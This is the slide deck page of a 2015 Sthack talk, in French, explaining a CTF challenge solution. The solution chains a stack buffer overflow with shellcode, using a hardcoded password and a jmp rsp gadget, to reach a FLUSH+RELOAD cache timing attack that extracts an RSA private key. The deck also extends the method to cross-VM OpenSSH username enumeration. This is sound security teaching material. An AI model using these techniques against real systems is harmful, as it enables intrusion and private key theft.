ATTACK THE CACHE TO GET SOME CASH
Sthack 27 mars 2015
0
DAVID BERARD & VINCENT FARGUES
CESTI Thales à Toulouse
1
CHALLENGE NOSUCHCON#2 - SEPTEMBRE 2014
Conférence à Paris 19-21 Novembre
Challenge créé par
Objectif : Trouver email + pas...
CHALLENGE EN3 ÉTAPES
1. Rétro ingénierie MIPS
Rétro ingénierie rapide et analyse statistique
2. Escape Python sandbox + XX...
DÉCOUVERTE DE L'ARCHIVE
$ tar xzvf securedrop.tar.gz
securedrop/
securedrop/client/
securedrop/client/client.py
securedrop...
DÉCOUVERTE DE L'ARCHIVE : MESSAGE ARCHIVÉ
Message chiffré (2 lignes)
securedrop/archive/messages
$ cat archive/messages
ne...
DÉCOUVERTE DE L'ARCHIVE : CLIENT PYTHON
securedrop/client/client.py
[...]
s = socket.socket(socket.AF_INET, socket.SOCK_ST...
DÉCOUVERTE DE L'ARCHIVE : CONFIGURATIONXINETD
secdrop
port : 1337
utilisateur : secdrop
binaire : /home/secdrop/SecDrop
ar...
DÉCOUVERTE DE L'ARCHIVE : BINAIRES X86-64
securedrop/servers/SecDrop
securedrop/servers/STPM
securedrop/lib/libsec.so
8
FONCTIONNEMENT BASIQUE DUCLIENT
Client SecDrop
gen random AES_key
PASSWORD
RSA_encrypt(AES_key,Kpub)
AES_encrypt(message,A...
RÉTROINGÉNIERIE SECDROP
Écoute via xinetd sur le port 1337
Service de réception de message
Stockage de messages dans un fi...
RÉTROINGÉNIERIE SECDROP: INITIALISATION
fopen argv[1]
Connect 127.0.0.1:2014
Limitation des syscalls à READ, WRITE, EXIT
L...
RÉTROINGÉNIERIE SECDROP: LECTURE DUPASSWORD
Mot de passe fixe hardcodé
if ( read(0, &buf, 0x21uLL) != 33 ||
memcmp(&buf, "...
RÉTROINGÉNIERIE SECDROP
LECTUREDELA CLEF AES CHIFFRÉEPAR RSA ET DU MESSAGECHIFFRÉPAR AES
Lecture caractère par caractère
S...
RÉTROINGÉNIERIE SECDROP: COMMUNICATIONAVEC STPM
Clef AES chiffrée par RSA envoyée au STPM
Avec la commande : 3n2n0nKEYn
Me...
FONCTIONNEMENT GLOBAL
Client SecDrop STPM
AES_key=random(16)
PASSWORD
RSA_encrypt(AES_key,Kpub) 3-2-0-RSA_encrypted_AES_ke...
PSEUDO-CODE SECDROP
save_messages = open(argv[1])
socket_stpm = connect(localhost:2014)
restrict_allowed_syscalls()
passwd...
RÉTROINGÉNIERIE STPM
Écoute via xinetd sur le port 2014 (filtré pour l'extérieur)
Sofware Trusted Platform Module ?
Réalis...
RÉTROINGÉNIERIE STPM : PARSING DES COMMANDES
Symboles présents dans le binaire :)
switch ( v2 ) {
case '4':
v3 = export_ke...
RÉTROINGÉNIERIE STPM : COMMANDES DISPONIBLES
1. print_keys()
affiche toutes les clefs stockées
2. decrypt(key_id,message)
...
FONCTIONNEMENT GLOBAL
Client SecDrop STPM
AES_key=random(16)
Kpriv=read(argv[1])PASSWORD
RSA_encrypt(AES_key,Kpub) 3-2-0-R...
BUFFER OVERFLOWDANS SECDROP
Lecture caractère par caractère sur la socket vers le client
Stockage sur la stack
Arrêt de la...
BUFFER OVERFLOWDANS SECDROP
Client SecDrop
PASSWORD
padding+ ROP Chain + Shellcode
shellcode
execution
22
BUFFER OVERFLOWDANS SECDROP: SHELLCODE
ROP chain simple : gadget magique présent dans le code
Exploit :
Syscalls limités à...
BUFFER OVERFLOWDANS SECDROP: EXEMPLE AVEC PRINTKEY
Réutilisation des descripteurs de fichier déjà ouverts
(sockets client/...
BUFFER OVERFLOWDANS SECDROP: EXEMPLE AVEC PRINTKEY
key 0: ASYMETRIC
n = 0x000000B740DF8EE7BEFFE41A337B4E56FFE903D6D62C75[....
26
TIMING CACHE ATTACK
Attaque par canaux auxiliaires utilisant le cache des
processeurs x86
Cible les algorithmes cryptograp...
FLUSH+RELOAD : CONDITIONS D'EXPLOITATION
L'attaquant et la cible doivent être sur le même
processeur
Shellcode dans SecDro...
FLUSH+RELOAD : LE CACHE COMME CANALAUXILIAIRE
Core 0
L1 instr L1 data
L2
Core 1
L1 instr L1 data
L2
L3
STPM SecDrop
Main m...
FLUSH+RELOAD : LE CACHE COMME CANALAUXILIAIRE
Core 0
L1 instr L1 data
L2
Core 1
L1 instr L1 data
L2
L3
STPM SecDrop
Main m...
FLUSH+RELOAD : LE CACHE COMME CANALAUXILIAIRE
Core 0
L1 instr L1 data
L2
Core 1
L1 instr L1 data
L2
L3
STPM SecDrop
Main m...
FLUSH+RELOAD : LE CACHE COMME CANALAUXILIAIRE
Core 0
L1 instr L1 data
L2
Core 1
L1 instr L1 data
L2
L3
STPM SecDrop
Main m...
FLUSH+RELOAD : LE CACHE COMME CANALAUXILIAIRE
Core 0
L1 instr L1 data
L2
Core 1
L1 instr L1 data
L2
L3
STPM SecDrop
Main m...
FLUSH+RELOAD : ALGORITHME
while True:
a = get_CPU_cycle()
read_memory(address)
b = get_CPU_cycle()
flush_caches(address)
i...
IDENTIFICATIONDES SEUILS
FLUSH+Reload sur une adresse régulièrement utilisée
Récupération du nombre de cycles CPU pour une...
IDENTIFICATIONDES SEUILS
FLUSH+Reload sur une adresse régulièrement utilisée
Récupération du nombre de cycles CPU pour une...
IDENTIFICATIONDES SEUILS
FLUSH+Reload sur une adresse régulièrement utilisée
Récupération du nombre de cycles CPU pour une...
RSA : EXPONENTIATIONMODULAIRE
RSA_decrypt : bigint(ciphertext) ^ d % n
d => exposant privé
n => modulus
Bignum Exp_mod : s...
RSA : EXPONENTIATIONMODULAIRE
RSA_decrypt : bigint(ciphertext) ^ d % n
d => exposant privé
n => modulus
Bignum Exp_mod : s...
IDENTIFICATIONDES FONCTIONS SQUARE & MULTIPLY
Test sur le bit
Square & multiply
 
 
 
36
CACHE ATTACK DEPUIS L'OVERFLOWDANS SECDROP
Main memory libsec.so
multiply
square
SEC_unwrap
SEC_fgetc
SecDrop STPM
37
CACHE ATTACK DEPUIS L'OVERFLOWDANS SECDROP
Main memory libsec.so
multiply
square
SEC_unwrap
SEC_fgetc
SecDrop STPM
Flush&R...
CACHE ATTACK DEPUIS L'OVERFLOWDANS SECDROP
Client SecDrop STPM
PASSWORD
padding+ ROP Chain + Shellcode
3-2-0-RSA_encrypted...
RÉSULTATS
CanvasJS.com
40
EXTRACTIONDES BITS DE L'EXPOSANT PRIVÉ
CanvasJS.com
41
EXTRACTIONDES BITS DE L'EXPOSANT PRIVÉ
CanvasJS.com
Square
Multipy
1
41
EXTRACTIONDES BITS DE L'EXPOSANT PRIVÉ
CanvasJS.com
Square
Multipy
1
Square
Multipy
1
41
EXTRACTIONDES BITS DE L'EXPOSANT PRIVÉ
CanvasJS.com
Square
Multipy
1
Square
Multipy
1
 
 
0
41
EXTRACTIONDES BITS DE L'EXPOSANT PRIVÉ
CanvasJS.com
Square
Multipy
1
Square
Multipy
1
 
 
0
Square
Multipy
1
41
EXTRACTIONDES BITS DE L'EXPOSANT PRIVÉ
CanvasJS.com
Square
Multipy
1
Square
Multipy
1
 
 
0
Square
Multipy
1
Square
Multip...
EXTRACTIONDES BITS DE L'EXPOSANT PRIVÉ
CanvasJS.com
Square
Multipy
1
Square
Multipy
1
 
 
0
Square
Multipy
1
Square
Multip...
EXTRACTIONDES BITS DE L'EXPOSANT PRIVÉ
CanvasJS.com
Square
Multipy
1
Square
Multipy
1
 
 
0
Square
Multipy
1
Square
Multip...
EXTRACTIONDES BITS DE L'EXPOSANT PRIVÉ
CanvasJS.com
Square
Multipy
1
Square
Multipy
1
 
 
0
Square
Multipy
1
Square
Multip...
RECONSTRUCTIONDE L'EXPOSANT PRIVÉ
Bits inversés : consommés par l'exponentiation modulaire
par la fin
Plusieurs tentatives...
RAPPEL: MESSAGE DANS L'ARCHIVE
Ligne 1 : Clef AES chiffrée RSA
Ligne 2 : Message chiffré AES
securedrop/archive/messages
$...
DÉCHIFFREMENT DE LA CLEF AES
# Inversion des bits, conversion en entier de "d"
d = int(d_binary[::-1],2)
# Conversion en e...
DÉCHIFFREMENT DUMESSAGE
SIMPLEOPÉRATION AES AVECLA CLEF RETROUVÉE
$ python2 decrypt_msg.py
Good job!
Send the secret 3fcba...
INTHE REALWORLD...
Exemple : bruteforce des utilisateurs dans OpenSSH
Cache attack inter VM
46
HYPERVISEUR AVEC DÉDUPLICATIONDE MÉMOIRE
KVM : Kernel-based Virtual Machine
KSM : Kernel Samepage Merging
Combinaison par ...
KERNELSAME PAGE MERGING
Virtual memory
VM 1
Main memory
Virtual memory
VM 2
Hyperviseur
48
KERNELSAME PAGE MERGING
Virtual memory
VM 1
Main memory
Virtual memory
VM 2
Hyperviseur ksmd
49
KERNELSAME PAGE MERGING
VM 1
Main memory
VM 2
Hyperviseur ksmd
Virtual memory Virtual memory
same page
50
KERNELSAME PAGE MERGING
VM 1
Main memory
VM 2
Hyperviseur ksmd
Virtual memory Virtual memory
51
KERNELSAME PAGE MERGING
VM 1
Main memory
VM 2
Hyperviseur ksmd
Virtual memory Virtual memory
52
KERNELSAME PAGE MERGING
VM 1 VM 2
Hyperviseur ksmd
Virtual memory Virtual memory
Main memory
sshd sshd
Cache L3
53
L'UTILISATEUR INEXISTANT EXISTE !
if (authctxt->pw && strcmp(service, "ssh-connection")==0) {
authctxt->valid = 1;
debug2(...
TEST DE LA PRÉSENCE D'UNUTILISATEUR
Chargement du binaire sshd en mémoire (mmap)
Création d'un thread de monitoring
FLUSH+...
DÉMO
user@vm1 $ ./ssh_user_bruteforcer
56
MERCI DE VOTRE ATTENTION!
QUESTIONS
?david.berard@thalesgroup.com
vincent.fargues@thalesgroup.com
57
Prochain SlideShare
Chargement dans…5
×

Sthack 2015 - David Berard & Vincent Fargues - Attack the cache to get some cash

1 416 vues

Publié le

The NoSuchCon challenge was published in September 2014, for the second edition of the NoSuchCon conference. The last step of this challenge consists in exploiting a remote cryptographic service used to store encrypted messages and keys. To solve this step, a timing attack against the CPU cache was used. The access time for certain memory areas is measured regularly.
The time spent reading those memory areas depends on previous hits, this side-channel information can be used to extract data. This talk will explain the technique commonly called "Cache Attack" based on some existing papers, a demonstration will be conducted showing the extraction of the RSA private key.

Publié dans : Formation
0 commentaire
0 j’aime
Statistiques
Remarques
  • Soyez le premier à commenter

  • Soyez le premier à aimer ceci

Aucun téléchargement
Vues
Nombre de vues
1 416
Sur SlideShare
0
Issues des intégrations
0
Intégrations
26
Actions
Partages
0
Téléchargements
6
Commentaires
0
J’aime
0
Intégrations 0
Aucune incorporation

Aucune remarque pour cette diapositive

Sthack 2015 - David Berard & Vincent Fargues - Attack the cache to get some cash

  1. 1. ATTACK THE CACHE TO GET SOME CASH Sthack 27 mars 2015 0
  2. 2. DAVID BERARD & VINCENT FARGUES CESTI Thales à Toulouse 1
  3. 3. CHALLENGE NOSUCHCON#2 - SEPTEMBRE 2014 Conférence à Paris 19-21 Novembre Challenge créé par Objectif : Trouver email + password 2
  4. 4. CHALLENGE EN3 ÉTAPES 1. Rétro ingénierie MIPS Rétro ingénierie rapide et analyse statistique 2. Escape Python sandbox + XXE Attaque sur AES-128 avec un padding oracle (vulnérabilité non souhaitée par les créateurs). Exfiltration de données par XXE Evasion de la sandbox Pickle modifiée 3. Timing cache attack sur RSA en remote avec overflow Exploitation d'un buffer overflow Réalisation d'une attaque par canaux auxiliaires 3
  5. 5. DÉCOUVERTE DE L'ARCHIVE $ tar xzvf securedrop.tar.gz securedrop/ securedrop/client/ securedrop/client/client.py securedrop/archive/ securedrop/archive/messages securedrop/servers/ securedrop/servers/SecDrop securedrop/servers/xinetd.conf/ securedrop/servers/xinetd.conf/secdrop securedrop/servers/xinetd.conf/stpm securedrop/servers/STPM securedrop/lib/ securedrop/lib/libsec.so 4
  6. 6. DÉCOUVERTE DE L'ARCHIVE : MESSAGE ARCHIVÉ Message chiffré (2 lignes) securedrop/archive/messages $ cat archive/messages new message: 0C849AFE0A7C11B2F083C32E7FDB0F8AC03198D84D9990B26D6443B1D185A36A235A561 BB99FE897858371311B2AD6DFE75E199667637EDEA7B9C14A158A5F6FFE15A1C14DAD80 8FDC9F846530EDD4FE3E86F4F98571CD45F11190ED531FC940D62C2C2E05F9977223580 8097763157F140FE4A57DB6AD902D9962F12BDFC1547CED3E282604255B2A5331373CAE E557CC825DD6A03C3D2D7B106E4AD15347BCB5067BDC60376FF1CC133F2C14 9d41dbb8da10b66cdde844f62e9cc4f96c3a88730b7b8307810cf1906935123f97ac9b6 82dd401512d18775bd7bd9b8b40929f5b4a1871ba44c94038793f0aa639b9d71d72d2ac cfcc95671c77a5c1c32bc813b048f5dcb1f08b59d6a7afb3b34462ac6abb69cb70accb2 4d78389a1777c5244b8063c542cc1f6c6db8d41d32df2e7132e21db8a1cc711c1a97c51 ba29f1d1ac8fa901a902b2a987f0764734f8b8cd2d476200e7ae62a424e2930d8b02940 9d0e5e13d4e11f4b5f5cc1263f41b500b4340b8641465bbc56c64a575f0ee215d02dea3 d75552328cf5742c 5
  7. 7. DÉCOUVERTE DE L'ARCHIVE : CLIENT PYTHON securedrop/client/client.py [...] s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(15) s.connect(('nsc2014.synacktiv.com', 1337)) s.send('%sn%sn%sn'%(PASSWORD, wk, enc.encode('hex'))) r = '' while 'n' not in r : r += s.recv(1024) try : r = r.strip('n').decode('hex') print ocb_decrypt(k, r) except : print r 6
  8. 8. DÉCOUVERTE DE L'ARCHIVE : CONFIGURATIONXINETD secdrop port : 1337 utilisateur : secdrop binaire : /home/secdrop/SecDrop argument : /home/secdrop/messages stpm port : 2014 utilisateur : stpm binaire : /home/stpm/STPM argument : /home/stpm/keyfile securedrop/servers/xinetd.conf/secdrop securedrop/servers/xinetd.conf/stpm 7
  9. 9. DÉCOUVERTE DE L'ARCHIVE : BINAIRES X86-64 securedrop/servers/SecDrop securedrop/servers/STPM securedrop/lib/libsec.so 8
  10. 10. FONCTIONNEMENT BASIQUE DUCLIENT Client SecDrop gen random AES_key PASSWORD RSA_encrypt(AES_key,Kpub) AES_encrypt(message,AES_key) AES_encrypt("OK",AES_key) 9
  11. 11. RÉTROINGÉNIERIE SECDROP Écoute via xinetd sur le port 1337 Service de réception de message Stockage de messages dans un fichier (argv[1]) 10
  12. 12. RÉTROINGÉNIERIE SECDROP: INITIALISATION fopen argv[1] Connect 127.0.0.1:2014 Limitation des syscalls à READ, WRITE, EXIT LODWORD(v0) = seccomp_init(0LL); v1 = v0; if ( v0 && seccomp_rule_add(v0, 2147418112LL, 0LL, 1LL) >= 0 && seccomp_rule_add(v1, 2147418112LL, 0LL, 1LL) >= 0 && seccomp_rule_add(v1, 2147418112LL, 1LL, 1LL) >= 0 && seccomp_rule_add(v1, 2147418112LL, 1LL, 1LL) >= 0 && seccomp_rule_add(v1, 2147418112LL, 1LL, 1LL) >= 0 && seccomp_rule_add(v1, 2147418112LL, 1LL, 1LL) >= 0 && seccomp_rule_add(v1, 2147418112LL, 60LL, 0LL) >= 0 && seccomp_load(v1) >= 0 ) { seccomp_release(v1); result = 0LL; } 11
  13. 13. RÉTROINGÉNIERIE SECDROP: LECTURE DUPASSWORD Mot de passe fixe hardcodé if ( read(0, &buf, 0x21uLL) != 33 || memcmp(&buf, "UBNtYTbYKWBeo12cHr33GHREdZYyOHMZn", 0x21uLL) ) { write(1, "WRONG PASSWORD!n", 0x10uLL); SEC_exit(1LL); } sub_400FB0(v7); SEC_exit(0LL); 12
  14. 14. RÉTROINGÉNIERIE SECDROP LECTUREDELA CLEF AES CHIFFRÉEPAR RSA ET DU MESSAGECHIFFRÉPAR AES Lecture caractère par caractère Stockage sur la stack int __fastcall read_input(__int64 a1, __int64 a2) { v2 = 0LL; while ( 1 ) { result = SEC_fgetc(a1); if ( result == -1 || result == 'n' ) break; v3 = (unsigned int)v2; v2 = (unsigned int)(v2 + 1); *(_BYTE *)(a2 + v3) = result; } *(_BYTE *)(a2 + v2) = 0; return result; } 13
  15. 15. RÉTROINGÉNIERIE SECDROP: COMMUNICATIONAVEC STPM Clef AES chiffrée par RSA envoyée au STPM Avec la commande : 3n2n0nKEYn Message chiffré AES transmis au STPM Avec la commande : 2n2nMESSAGEn 14
  16. 16. FONCTIONNEMENT GLOBAL Client SecDrop STPM AES_key=random(16) PASSWORD RSA_encrypt(AES_key,Kpub) 3-2-0-RSA_encrypted_AES_key AES_encrypt(message,AES_key) 2-2-AES_encrypted_message 15
  17. 17. PSEUDO-CODE SECDROP save_messages = open(argv[1]) socket_stpm = connect(localhost:2014) restrict_allowed_syscalls() passwd = read(stdin,33) if(passwd=="UBNtYTbYKWBeo12cHr33GHREdZYyOHMZn"): aes_key =read_input() encrypted_msg=read_input() send(socket_stpm,"3n2n0n"+aes_key+"n") send(socket_stpm,"2n2n"+encrypted_msg+"n") save_messages.write(aes_key + "n" + encrypted_msg) 16
  18. 18. RÉTROINGÉNIERIE STPM Écoute via xinetd sur le port 2014 (filtré pour l'extérieur) Sofware Trusted Platform Module ? Réalise les opérations de chiffrement et de déchiffrement Stocke des clefs (16 emplacements pour des clefs symétriques / asymétriques) Préchargement des clefs depuis le fichier argv[1] Absent de l'archive fournie 17
  19. 19. RÉTROINGÉNIERIE STPM : PARSING DES COMMANDES Symboles présents dans le binaire :) switch ( v2 ) { case '4': v3 = export_key(); goto LABEL_6; case '3': v3 = import_key(); goto LABEL_6; case '2': v3 = message_decrypt(); LABEL_6: if ( v3 ) goto LABEL_7; continue; case '1': print_keys(); [...] 18
  20. 20. RÉTROINGÉNIERIE STPM : COMMANDES DISPONIBLES 1. print_keys() affiche toutes les clefs stockées 2. decrypt(key_id,message) déchiffre le message avec la clef key_id 3. import_key(key_id,index,ciphered_AES_key) Reçoit ciphered_AES_key chiffré en RSA avec la clef key_id Déchiffre et stocke la clef à l'index spécifié 4. export_key(index,key) Renvoie la clef AES à l’index spécifié chiffrée en RSA avec la clef key 5. exit() 19
  21. 21. FONCTIONNEMENT GLOBAL Client SecDrop STPM AES_key=random(16) Kpriv=read(argv[1])PASSWORD RSA_encrypt(AES_key,Kpub) 3-2-0-RSA_encrypted_AES_key AES_key=RSA_decrypt(Kpriv) store(AES_key) AES_encrypt(message,AES_key) 2-2-AES_encrypted_message AES_encrypt("OK",AES_key)AES_encrypt("OK",AES_key) 20
  22. 22. BUFFER OVERFLOWDANS SECDROP Lecture caractère par caractère sur la socket vers le client Stockage sur la stack Arrêt de la lecture si retour à la ligne → overflow int __fastcall read_input(__int64 a1, __int64 a2) { v2 = 0LL; while ( 1 ) { result = SEC_fgetc(a1); if ( result == -1 || result == 'n' ) break; v3 = (unsigned int)v2; v2 = (unsigned int)(v2 + 1); *(_BYTE *)(a2 + v3) = result; } *(_BYTE *)(a2 + v2) = 0; return result; } 21
  23. 23. BUFFER OVERFLOWDANS SECDROP Client SecDrop PASSWORD padding+ ROP Chain + Shellcode shellcode execution 22
  24. 24. BUFFER OVERFLOWDANS SECDROP: SHELLCODE ROP chain simple : gadget magique présent dans le code Exploit : Syscalls limités à READ, WRITE, EXITpar la sandbox .text:0000000000400F60 db 0B8h .text:0000000000400F61 ; ----------------------------- .text:0000000000400F61 jmp rsp .text:0000000000400F61 ; ----------------------------- .text:0000000000400F63 db 0 jmp_rsp=0x00400f61 # password payload="UBNtYTbYKWBeo12cHr33GHREdZYyOHMZn" # overflow payload+="A"*12072 # Jump to shellcode payload+=addr(jmp_rsp) # write shellcode payload+=shellcode() payload+="n" 23
  25. 25. BUFFER OVERFLOWDANS SECDROP: EXEMPLE AVEC PRINTKEY Réutilisation des descripteurs de fichier déjà ouverts (sockets client/STPM) Client SecDrop STPM PASSWORD padding+ ROP Chain + Shellcode 1 (printKey) printKey results printKey results shellcodeexecution 24
  26. 26. BUFFER OVERFLOWDANS SECDROP: EXEMPLE AVEC PRINTKEY key 0: ASYMETRIC n = 0x000000B740DF8EE7BEFFE41A337B4E56FFE903D6D62C75[...] e = 0x00010001 q = PRIVATE :) key 1: SYMETRIC k = SECRET :) key 2: EMPTY key 3: EMPTY key 4: EMPTY key 5: EMPTY key 6: EMPTY key 7: EMPTY key 8: EMPTY key 9: EMPTY key 10: EMPTY key 11: EMPTY key 12: EMPTY 25
  27. 27. 26
  28. 28. TIMING CACHE ATTACK Attaque par canaux auxiliaires utilisant le cache des processeurs x86 Cible les algorithmes cryptographiques AES RSA FLUSH+RELOAD: a High Resolution, Low Noise, L3 Cache Side-Channel Attack source : https://eprint.iacr.org/2013/448.pdf 27
  29. 29. FLUSH+RELOAD : CONDITIONS D'EXPLOITATION L'attaquant et la cible doivent être sur le même processeur Shellcode dans SecDrop sur la même machine que STPM Le code du RSA doit être lisible par l'attaquant Opérations RSA réalisées dans la librairie partagée 28
  30. 30. FLUSH+RELOAD : LE CACHE COMME CANALAUXILIAIRE Core 0 L1 instr L1 data L2 Core 1 L1 instr L1 data L2 L3 STPM SecDrop Main memorylibsec.so 29
  31. 31. FLUSH+RELOAD : LE CACHE COMME CANALAUXILIAIRE Core 0 L1 instr L1 data L2 Core 1 L1 instr L1 data L2 L3 STPM SecDrop Main memorylibsec.so 30
  32. 32. FLUSH+RELOAD : LE CACHE COMME CANALAUXILIAIRE Core 0 L1 instr L1 data L2 Core 1 L1 instr L1 data L2 L3 STPM SecDrop Main memorylibsec.so 31
  33. 33. FLUSH+RELOAD : LE CACHE COMME CANALAUXILIAIRE Core 0 L1 instr L1 data L2 Core 1 L1 instr L1 data L2 L3 STPM SecDrop Main memorylibsec.so <X cycles CPU>X cycles CPU 31
  34. 34. FLUSH+RELOAD : LE CACHE COMME CANALAUXILIAIRE Core 0 L1 instr L1 data L2 Core 1 L1 instr L1 data L2 L3 STPM SecDrop Main memorylibsec.so clflush 32
  35. 35. FLUSH+RELOAD : ALGORITHME while True: a = get_CPU_cycle() read_memory(address) b = get_CPU_cycle() flush_caches(address) if b-a < threshold: # the memory zone was accessed by another process else: # the memory zone wasn't accessed 33
  36. 36. IDENTIFICATIONDES SEUILS FLUSH+Reload sur une adresse régulièrement utilisée Récupération du nombre de cycles CPU pour une lecture CanvasJS.com 34
  37. 37. IDENTIFICATIONDES SEUILS FLUSH+Reload sur une adresse régulièrement utilisée Récupération du nombre de cycles CPU pour une lecture CanvasJS.com Cache HITS < 200 34
  38. 38. IDENTIFICATIONDES SEUILS FLUSH+Reload sur une adresse régulièrement utilisée Récupération du nombre de cycles CPU pour une lecture CanvasJS.com Cache HITS < 200 Cache MISS > 200 34
  39. 39. RSA : EXPONENTIATIONMODULAIRE RSA_decrypt : bigint(ciphertext) ^ d % n d => exposant privé n => modulus Bignum Exp_mod : square et multiply /* base = n, exp = d, m = int(ciphertext) */ modpow(base, exp, m) { result = 1; while (exp > 0) { if (exp & 1 > 0) { result = (result * base) % m; #MULTIPLY } exp >>= 1; base = (base * base) % m; #SQUARE } return result; } 35
  40. 40. RSA : EXPONENTIATIONMODULAIRE RSA_decrypt : bigint(ciphertext) ^ d % n d => exposant privé n => modulus Bignum Exp_mod : square et multiply /* base = n, exp = d, m = int(ciphertext) */ modpow(base, exp, m) { result = 1; while (exp > 0) { if (exp & 1 > 0) { result = (result * base) % m; #MULTIPLY } exp >>= 1; base = (base * base) % m; #SQUARE } return result; }   35
  41. 41. IDENTIFICATIONDES FONCTIONS SQUARE & MULTIPLY Test sur le bit Square & multiply       36
  42. 42. CACHE ATTACK DEPUIS L'OVERFLOWDANS SECDROP Main memory libsec.so multiply square SEC_unwrap SEC_fgetc SecDrop STPM 37
  43. 43. CACHE ATTACK DEPUIS L'OVERFLOWDANS SECDROP Main memory libsec.so multiply square SEC_unwrap SEC_fgetc SecDrop STPM Flush&Reload Shellcode 38
  44. 44. CACHE ATTACK DEPUIS L'OVERFLOWDANS SECDROP Client SecDrop STPM PASSWORD padding+ ROP Chain + Shellcode 3-2-0-RSA_encrypted_AES_key AES_key=RSA_decrypt(Kpriv) results shellcodeexecution mesures   39
  45. 45. RÉSULTATS CanvasJS.com 40
  46. 46. EXTRACTIONDES BITS DE L'EXPOSANT PRIVÉ CanvasJS.com 41
  47. 47. EXTRACTIONDES BITS DE L'EXPOSANT PRIVÉ CanvasJS.com Square Multipy 1 41
  48. 48. EXTRACTIONDES BITS DE L'EXPOSANT PRIVÉ CanvasJS.com Square Multipy 1 Square Multipy 1 41
  49. 49. EXTRACTIONDES BITS DE L'EXPOSANT PRIVÉ CanvasJS.com Square Multipy 1 Square Multipy 1     0 41
  50. 50. EXTRACTIONDES BITS DE L'EXPOSANT PRIVÉ CanvasJS.com Square Multipy 1 Square Multipy 1     0 Square Multipy 1 41
  51. 51. EXTRACTIONDES BITS DE L'EXPOSANT PRIVÉ CanvasJS.com Square Multipy 1 Square Multipy 1     0 Square Multipy 1 Square Multipy 1 41
  52. 52. EXTRACTIONDES BITS DE L'EXPOSANT PRIVÉ CanvasJS.com Square Multipy 1 Square Multipy 1     0 Square Multipy 1 Square Multipy 1     0 41
  53. 53. EXTRACTIONDES BITS DE L'EXPOSANT PRIVÉ CanvasJS.com Square Multipy 1 Square Multipy 1     0 Square Multipy 1 Square Multipy 1     0     0 41
  54. 54. EXTRACTIONDES BITS DE L'EXPOSANT PRIVÉ CanvasJS.com Square Multipy 1 Square Multipy 1     0 Square Multipy 1 Square Multipy 1     0     0 Square Multipy 1 41
  55. 55. RECONSTRUCTIONDE L'EXPOSANT PRIVÉ Bits inversés : consommés par l'exponentiation modulaire par la fin Plusieurs tentatives : résultats différents Un résultat se démarque dans 20% des cas, c'est l'exposant privé 42
  56. 56. RAPPEL: MESSAGE DANS L'ARCHIVE Ligne 1 : Clef AES chiffrée RSA Ligne 2 : Message chiffré AES securedrop/archive/messages $ cat archive/messages new message: 0C849AFE0A7C11B2F083C32E7FDB0F8AC03198D84D9990B26D6443B1D185A36A235A561 BB99FE897858371311B2AD6DFE75E199667637EDEA7B9C14A158A5F6FFE15A1C14DAD80 8FDC9F846530EDD4FE3E86F4F98571CD45F11190ED531FC940D62C2C2E05F9977223580 8097763157F140FE4A57DB6AD902D9962F12BDFC1547CED3E282604255B2A5331373CAE E557CC825DD6A03C3D2D7B106E4AD15347BCB5067BDC60376FF1CC133F2C14 9d41dbb8da10b66cdde844f62e9cc4f96c3a88730b7b8307810cf1906935123f97ac9b6 82dd401512d18775bd7bd9b8b40929f5b4a1871ba44c94038793f0aa639b9d71d72d2ac cfcc95671c77a5c1c32bc813b048f5dcb1f08b59d6a7afb3b34462ac6abb69cb70accb2 4d78389a1777c5244b8063c542cc1f6c6db8d41d32df2e7132e21db8a1cc711c1a97c51 ba29f1d1ac8fa901a902b2a987f0764734f8b8cd2d476200e7ae62a424e2930d8b02940 9d0e5e13d4e11f4b5f5cc1263f41b500b4340b8641465bbc56c64a575f0ee215d02dea3 d75552328cf5742c 43
  57. 57. DÉCHIFFREMENT DE LA CLEF AES # Inversion des bits, conversion en entier de "d" d = int(d_binary[::-1],2) # Conversion en entier de la clef chiffré depuis le message chiffré encrypted_aes_key = int(encrypted,16) # Operation de déchiffrement RSA key_value = pow(encrypted_aes_key, d, n) # Key : conversion depuis un entier key = '%0x' % (key_value) # Suppression du padding PKCS1 v1.5 print key[-32:] 44
  58. 58. DÉCHIFFREMENT DUMESSAGE SIMPLEOPÉRATION AES AVECLA CLEF RETROUVÉE $ python2 decrypt_msg.py Good job! Send the secret 3fcba5e1dbb21b86c31c8ae490819ab6 to 82d6e1a04a8ca30082e81ad27dec7cb4@synacktiv.com. Also, don't forget to send us your solution within 10 days. Synacktiv team 45
  59. 59. INTHE REALWORLD... Exemple : bruteforce des utilisateurs dans OpenSSH Cache attack inter VM 46
  60. 60. HYPERVISEUR AVEC DÉDUPLICATIONDE MÉMOIRE KVM : Kernel-based Virtual Machine KSM : Kernel Samepage Merging Combinaison par défaut sur certaines distributions dédiées à la virtualisation 47
  61. 61. KERNELSAME PAGE MERGING Virtual memory VM 1 Main memory Virtual memory VM 2 Hyperviseur 48
  62. 62. KERNELSAME PAGE MERGING Virtual memory VM 1 Main memory Virtual memory VM 2 Hyperviseur ksmd 49
  63. 63. KERNELSAME PAGE MERGING VM 1 Main memory VM 2 Hyperviseur ksmd Virtual memory Virtual memory same page 50
  64. 64. KERNELSAME PAGE MERGING VM 1 Main memory VM 2 Hyperviseur ksmd Virtual memory Virtual memory 51
  65. 65. KERNELSAME PAGE MERGING VM 1 Main memory VM 2 Hyperviseur ksmd Virtual memory Virtual memory 52
  66. 66. KERNELSAME PAGE MERGING VM 1 VM 2 Hyperviseur ksmd Virtual memory Virtual memory Main memory sshd sshd Cache L3 53
  67. 67. L'UTILISATEUR INEXISTANT EXISTE ! if (authctxt->pw && strcmp(service, "ssh-connection")==0) { authctxt->valid = 1; debug2("input_userauth_request: setting up authctxt for %s", user); } else { logit("input_userauth_request: invalid user %s", user); authctxt->pw = fakepw(); } struct passwd * fakepw(void) { static struct passwd fake; memset(&fake, 0, sizeof(fake)); fake.pw_name = "NOUSER"; fake.pw_passwd = "$2a$06$r3. juUaHZDlIbQaO2dS9FuYxL1W9M81R1Tc92PoSNmzvpEqLkLGrK"; fake.pw_uid = privsep_pw == NULL ? (uid_t)-1 : privsep_pw->pw_uid; fake.pw_gid = privsep_pw == NULL ? (gid_t)-1 : privsep_pw->pw_gid; fake.pw_dir = "/nonexist"; fake.pw_shell = "/nonexist"; return (&fake); } 54
  68. 68. TEST DE LA PRÉSENCE D'UNUTILISATEUR Chargement du binaire sshd en mémoire (mmap) Création d'un thread de monitoring FLUSH+RELOAD sur l'adresse fakepw (offset dans sshd) En parallèle : Connexion à la VM avec libssh2 HIT sur fakepw : utilisateur inexistant MISS sur fakepw : utilisateur existant 55
  69. 69. DÉMO user@vm1 $ ./ssh_user_bruteforcer 56
